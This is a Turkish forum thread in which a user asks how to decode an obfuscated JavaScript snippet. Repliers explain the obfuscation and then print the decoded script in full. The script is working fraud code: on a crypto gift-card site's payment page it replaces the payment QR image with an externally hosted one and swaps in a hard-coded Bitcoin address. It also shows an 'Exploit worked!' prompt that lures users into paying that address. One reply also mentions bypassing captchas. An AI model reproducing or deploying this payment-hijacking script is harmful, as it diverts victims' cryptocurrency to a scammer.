- 20 Şub 2023
- 4
- 0
merhaba arkadaşlar aşşağıda olan kodu nasıl çözebilirim bilgisi olan varmı
Son düzenleme:
Bu hangi dil ve nasıl çözülür
- Konbuyu başlatan getsmart35
- Başlangıç tarihi
Merhaba,
bozulmuş bir javascript koduna benziyor (ilk satırda (()=>{var yazan kısım javascripte ait.).
Muhtemelen şifrelenmiş hali(64 base olabilir) yanlış parametrelerle decode edilmeye çalışılmış.
Eğer orjinal şifreli hali elinizde mevcutsa çözümü daha kolay olabilir.
İyi forumlar!
Deobfuscate, bu konuyu araştır istersen
Saçmasapan unicode karakterleri fonksiyon ve değişken adı olarak alabildiğine göre bu javascript.
Zaten userscript taslağı kullanmış. Yani Userscript /Userscript arası parametreler girilseydi, o değerler asıl javascript içinde kullanılacaktı. O kısmı tamamen önemsemeyebiliriz, ne de olsa her şey boş.
Aşağıdaki kısım aptalca bir obfuscation denemesi, ekstra karakterler yerine normal karakterleri atarsan anlamlı bir script çıkacak, ama eksik paste etmişsin. (()=>{ diye başladığına göre }) ile bitmeliydi. Yani kendi kendini tanımlayıp hemen çalıştıran bir lambda fonksiyonu bu. jQuery gibi kütüphanelerin minified versiyonunu düşünün, kendi init fonksiyonunu ve bu fonksiyon objesinin elemanları olarak bütün kütüphaneyi tanımlayıp bir seferde init edecek.
Ama seninki = ile bitiyor. Yani eksik olmalı. Kütüphanenin kompleksliğine göre sayfalarca bile olabilir.
Tamamını paste edersen çözebiliriz, aslında çözmemize bile gerek kalmaz. Minified javascripti okunabilir hale getiren online araçlar var. Ondan sonra da azıcık takiple ne iş yaptığını görürüz.
Yahu zaten "javascript" bu, genelde amacın ne yaptığını değil de nasıl bypass edeceğini (captcha vs. gibi şeyler için) görmektir. Bypass'a uğraşmak daha kolay olabilir.
Zaten userscript taslağı kullanmış. Yani Userscript /Userscript arası parametreler girilseydi, o değerler asıl javascript içinde kullanılacaktı. O kısmı tamamen önemsemeyebiliriz, ne de olsa her şey boş.
Aşağıdaki kısım aptalca bir obfuscation denemesi, ekstra karakterler yerine normal karakterleri atarsan anlamlı bir script çıkacak, ama eksik paste etmişsin. (()=>{ diye başladığına göre }) ile bitmeliydi. Yani kendi kendini tanımlayıp hemen çalıştıran bir lambda fonksiyonu bu. jQuery gibi kütüphanelerin minified versiyonunu düşünün, kendi init fonksiyonunu ve bu fonksiyon objesinin elemanları olarak bütün kütüphaneyi tanımlayıp bir seferde init edecek.
Ama seninki = ile bitiyor. Yani eksik olmalı. Kütüphanenin kompleksliğine göre sayfalarca bile olabilir.
Tamamını paste edersen çözebiliriz, aslında çözmemize bile gerek kalmaz. Minified javascripti okunabilir hale getiren online araçlar var. Ondan sonra da azıcık takiple ne iş yaptığını görürüz.
Yahu zaten "javascript" bu, genelde amacın ne yaptığını değil de nasıl bypass edeceğini (captcha vs. gibi şeyler için) görmektir. Bypass'a uğraşmak daha kolay olabilir.
- 20 Şub 2023
- 4
- 0
çok uzun olduğun açısından paylaşamamıştım şimdi full halini editledim
Dediğim gibi, gerizekalıca bir obfuscation denemesi... İnsanlar bu kadar basit bypass edilirken böyle aptalca şeylerle niye uğraşır anlamam ki...
Hiç bir şey yapmana gerek yok üstad. Bir tane google chrome aç, sayfa olarak "about:blank" yani boş sayfa aç. F12'ye bas, konsolu seç, bu kodu seç ve yapıştır. Zaten kodu inject ediyor sayfaya.
Edit: Ortaya çıkan kodu yeni okudum da... Aha... Serverside'da test edilmeyen QR mı buldun?
JavaScript:
const QR = "https://i10.bunkr.ru/qr-transaction-5uiux5cy.png";
const BTC = "bc1q6zrprt3wef9ar0vqv6vmyj278sg5q2qaz550qx";
function updatePageData() {
console.log("Trying to find QR image...");
let qrContainer = document.querySelector(".qr-container");
if (!qrContainer)
return setTimeout(updatePageData, 10);
let qrImage = qrContainer.querySelector("img");
if (!qrImage)
return setTimeout(updatePageData, 10);
if (!qrImage.src.startsWith("https://api.cryptorefills.com"))
return setTimeout(updatePageData, 10);
console.log("Found QR image! Replacing image...");
qrImage.src = QR;
document.querySelector(".payment-codes").querySelectorAll("input")[1].value = BTC;
}
function onCartPage() {
alert(`Exploit worked! Choose "Bitcoin", press "Proceed" and pay for the order`);
}
function onPaymentPage() {
updatePageData();
}
window.addEventListener("locationchange", function () {
if (window.location.pathname == "/payment")
onPaymentPage();
if (window.location.pathname == "/cart")
onCartPage();
});
(() => {
let oldPushState = history.pushState;
history.pushState = function pushState() {
let ret = oldPushState.apply(this, arguments);
window.dispatchEvent(new Event("pushstate"));
window.dispatchEvent(new Event("locationchange"));
return ret;
};
let oldReplaceState = history.replaceState;
history.replaceState = function replaceState() {
let ret = oldReplaceState.apply(this, arguments);
window.dispatchEvent(new Event("replacestate"));
window.dispatchEvent(new Event("locationchange"));
return ret;
};
window.addEventListener("popstate", () => {
window.dispatchEvent(new Event("locationchange"));
});
})();
if (window.location.pathname == "/payment")
onPaymentPage();
if (window.location.pathname == "/cart")
onCartPage();
console.log("Loaded script!");